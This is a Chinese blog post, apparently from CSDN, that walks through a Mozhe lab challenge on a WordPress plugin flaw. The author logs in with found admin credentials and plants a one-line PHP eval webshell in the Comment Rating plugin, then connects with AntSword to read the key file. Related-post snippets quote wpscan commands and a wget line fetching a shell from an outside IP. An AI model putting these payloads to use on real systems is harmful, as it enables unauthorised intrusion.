墨者WordPress插件漏洞分析溯源

最新推荐文章于 2024-05-03 16:49:47 发布
最新推荐文章于 2024-05-03 16:49:47 发布
阅读量1k 收藏 2
点赞数
分类专栏： 墨者 漏洞复现 文章标签： 安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_49780354/article/details/123575580
版权

总结：整个流程就算发现这是wordpress然后用专门的wpscan去扫漏洞，然后发现的了插件漏洞，然后利用整个插件漏洞来植入后门，然后获取key文件

思路：尝试绕过登录，进入页面发现不行，然后面向搜索引擎学习，看别人的做法

这个老哥的做法和流程应该是没问题，只是到了那个要翻墙的环节我应该就不行了

WordPress插件SQL注入漏洞——漏洞复现_W小哥1的博客-CSDN博客_wordpress注入漏洞

于是我又看了这个老哥

墨者学院 - WordPress插件漏洞分析溯源_多崎巡礼的博客-CSDN博客_墨者学院wordpress

这个老哥呢，直接跳过了那个token那步直接sqlmap了

于是乎啊，我就很头疼，感觉这题要白给了

但是看着第二个老哥的流程中跑出了密码，然后我就想着那试试叭

然后就发现进去了   admin/12qwaszx   

 

到这里我就惊了，好的那这题应该又是结束了

点击插件，选择 Comment Rating

然后编辑一句话木马

   <?php @eval($_POST['attack']);?>
 

 

然后保存，再用蚁剑连（菜刀也ok的）

http://124.70.71.251:48745/wp-admin/plugin-editor.php?file=comment-rating/comment-rating.php&a=te&scrollto=0

 然后进去找key文件，最后发现再html文件下

 

 

 

唯熟唯尔
关注
  • 0
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
WebShell文件上传漏洞分析溯源
02-22
WebShell文件上传漏洞
Wordpress漏洞利用&WPscan使用
Love&Share
11-17 7817
WordPress是一个开源的内容管理系统（CMS），在全球范围内使用比较广泛，但遇到一个WP站点时可以首先用WPscan进行扫描收集信息 WPscan WPScan是Kali Linux默认自带的一款漏洞扫描工具，它采用Ruby编写，能够扫描WordPress网站中的多种安全漏洞，其中包括主题漏洞、插件漏洞和WordPress本身的漏洞，在遇到wp站点时可以扫描一下 1、刺探基础信息： wpscan --url http://www.example.com 2、猜解后台用户名 wpscan --url.
WEB应用漏洞发现
天天学安全专属博客
03-27 299
WEB应用漏洞发现
WordPress建站教程：WordPress 漏洞报告-2023年1月25日
sixeit的博客
01-29 282
WordPress的系统使用越来越广发，很多的大型企业开始选择利用WordPress作为主技术支撑，但是也有很多人对WordPress系统安全不了解，下面我们由北京六翼信息技术有限公司的技术开发工程师为大家讲解WordPress建站安全问题处理中的漏洞报告。
wordpress 漏洞_WordPress漏洞分析
weixin_42514783的博客
01-26 5334
根据CVE官方漏洞通报得知wordpress新出一个组合式rce漏洞，漏洞编号分别为CVE-2019-8943和CVE-2019-8942，下载漏洞版本源码，分析漏洞触发过程，注：漏洞复现时一定要断网搭建，wordpress在联网状态时会自动更新代码包。找到漏洞发生文件 post.php，wordpress有多个post.php文件，这里简要说明一下各自的作用，wp-includes/post.p...
wordpress 4.6 RCE漏洞利用（CVE-2016-10033）
xiaobai_20190815的博客
04-08 5198
一、漏洞描述： 当WordPress 使用 PHPMailer 组件向用户发送邮件。攻击者在找回密码时会使用PHPmailer发送重置密码的邮件,利用substr(字符串截取函数)、$run(系统调用函数)等构造payload，即可进行远程命令执行 二、影响版本 WordPress <= 4.6.0 PHPMailer < 5.2.18 三、漏洞搭建 vulhub下载，傻瓜式安装，然后漏洞在密码重置这个页面 四、漏洞利用 1、抓包，构造POST /wp-login.p
墨者学院 - WordPress插件漏洞分析溯源
多崎巡礼的博客
08-30 2131
使用wpscan扫面wordpress有漏洞的插件 wpscan --url  "ip" --enumerate vp   查找插件漏洞http://www.bkjia.com/xtaq/783717.html 构造链接 http://ip/wp-content/plugins/comment-rating/ck-processkarma.php?id=1&amp;actio...
WordPress插件漏洞分析溯源
qq_36933272的博客
09-03 515
打开wpscan扫描，输入wpscan --url http://219.153.49.228:48780 --enumerate vp，这是扫描wordpress存在漏洞的插件 发现出现漏洞插件 [1566903968447592.png] 打开连接，查找到注入点define(‘URL’,$url[‘path’].‘wp-content/plugins/comment-rating/ck-pro...
墨者靶场 WordPress插件漏洞分析溯源
永远是少年
12-30 1340
今天继续给大家介绍CTF刷题，本文主要内容墨者靶场 WordPress插件漏洞分析溯源。 一、题目简介 二、解题实战
WordPress再曝流行插件漏洞 影响上千万网站
weixin_34005042的博客
09-04 238
本文讲的是WordPress再曝流行插件漏洞 影响上千万网站，WordPress的一个最为流行的插件现重大安全漏洞，导致上千万网站面临黑客入侵的危险。 该漏洞由WordPress漏洞扫描器的开发者瑞恩·迪赫斯特（Ryan Dewhurst）发现，该插件名为“WordPress SEO by Yoast”，用于网站的搜索引擎优化，是最流行的WordPre...
CMS漏洞：wordpress01
zh的博客
10-15 785
靶场地址：http://whalwl.site:8041/ 解题准备：准备POC 解题思路： 1、抓包，准备修改数据包 执行命令，远程下载一个shell，到靶场网站根目录。 /usr/bin/wget --output-document /var/www/html/999.php 167.160.xxx.217/999.txt 2、具体请求包： POST /wp-login.php?action=lostpassword HTTP/1.1Host: target(any -fr...
spring IOC实现（墨者革离）
12-12
该代码主要用于spring IOC的实现（墨者革离），模拟一个城门叩问的编剧场景
墨者安全专家 3.7（更新）
11-03
3、墨者漏洞修补 通过全面扫描windows和软件中存在的系统漏洞，一键完成补丁的下载与安装，及时排除系统的安全隐患。 4、墨者保护隐私 及时清理上网历史记录、网银注册信息、系统临时文件及cookies等，全面保护个人...
墨者安全专家 v3.7.2.9
03-12
3、墨者漏洞修补 通过全面扫描windows和软件中存在的系统漏洞，一键完成补丁的下载与安装，及时排除系统的安全隐患。 4、墨者保护隐私 及时清理上网历史记录、网银注册信息、系统临时文件及cookies等，全面保护个人...
墨者安全专家
07-04
墨者安全专家是一款永久免费的免疫型安全防护软件，集墨者独创的 “革离术”、终身免费杀毒、修复系统漏洞、上网痕迹清理、网络防火墙、系统实时保护、安全互助社区等强大功能于一身。特别是独创的“革离术”，利用...
逻辑漏洞：水平越权、垂直越权靶场练习
qq_68163788的博客
05-02 929
水平越权和垂直越权是组织中常见的管理问题，指的是员工在组织中所拥有的权力和责任超出其职位所应具备的范围。 水平越权是指员工在同一级别的职位上超越了其同事的权力和责任范围，通常表现为某个员工在团队中承担了过多的任务或权力，导致其他同事感到不公平或不满。 垂直越权则是指员工在组织中超越了其职位等级的权力和责任范围，通常表现为员工在没有得到上级批准的情况下做出决策或行动，可能会导致组织内部的混乱和冲突。
软件应用开发安全设计指南
最新发布
weixin_41039677的博客
05-03 311
在设计系统架构时，要充分考虑各种安全威胁，如DDoS攻击、SQL注入、跨站脚本攻击（XSS）等，并采取相应的防护措施。设计时要充分考虑到系统架构的稳固性、可维护性和可扩展性，以确保系统在面对各种安全威胁时能够稳定运行。设计审计和日志记录功能，以记录系统的活动和事件，为安全审计和故障排除提供依据。对网络通讯进行严格的身份验证和访问控制，防止未经授权的访问和数据泄露。在设计软件功能时，要充分考虑功能的安全性，避免引入潜在的安全漏洞。限制对存储设备的物理访问权限，防止未经授权的访问和数据篡改。
创造未来知识管理新篇章：Ollama与AnythingLLM联手打造个人与企业的安全知识库！
跟着大数据和AI去旅行
04-30 1148
Ollama是一个开源的大型语言模型服务工具，它帮助用户快速在本地运行大模型。通过简单的安装指令，用户可以执行一条命令就在本地运行开源大型语言模型，如Llama 2。Ollama极大地简化了在Docker容器内部署和管理LLM的过程，使得用户能够快速地在本地运行大型语言模型。打造个性化聊天机器人：用Ollama和Open WebUI搭建你的私有ChatGPT！windows 下 docker compose 安装 ollama 和 open-webui ，打造私有GPT。
校园安全升级：AR实景监测场景方案
lxzn123的博客
04-29 647
数据融合视频直观呈现：利用增强现实技术，将校园资源数据以标签形式融合到视频画面中，实现统筹管理，真正做到所见即所得，提升业务可视化管理水平。- 全景监控与细节兼顾：通过高点全局监控与低点细节查看的结合，实现全景与低空监控的联动，打造出实景式、立体化的全局防控体系。- 数据展示不直观：校园内的重点场所，如校门、广场、教学楼和图书馆等，其资源详细数据的展示并不直观，无法快速定位和查看。- 传统监控的局限性：传统的校园监控系统多采用窗口监控模式，这种模式视野范围有限，画面分散，缺乏全局视角和重点监控。
墨者-sql手工注入漏洞测试
04-29
墨者安全团队是一支专注于网络安全领域的团队，他们致力于网络安全研究...总的来说，墨者安全团队的手工注入漏洞测试方法比较系统和全面，可以有效地发现目标网站中存在的注入漏洞，从而帮助企业提高网络安全防护水平。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

唯熟唯尔

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值